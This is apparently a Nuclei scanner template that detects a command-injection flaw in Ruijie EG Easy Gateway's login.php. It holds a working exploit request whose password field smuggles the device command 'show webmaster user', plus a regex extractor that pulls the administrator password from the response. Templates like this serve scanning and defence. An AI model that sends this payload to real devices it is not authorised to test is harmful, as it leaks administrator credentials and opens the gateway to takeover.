id: ruijie-eg-login-rce

info:
  name: Ruijie EG Easy Gateway - Remote Command Execution
  author: pikpikcu,pdteam
  severity: critical
  description: Ruijie EG Easy Gateway login.php has remote commmand execution vulnerability, which can lead to the disclosure of administrator account and password.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
    - https://www.ruijienetworks.com
  tags: ruijie,rce

requests:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin?show+webmaster+user

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"data":'
          - '"status":1'
          - 'admin'
        condition: and
        part: body

      - type: word
        words:
          - 'text/json'
        part: header

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - 'admin ([a-zA-Z0-9#@]+)",'

# Enhanced by cs 03/02/2023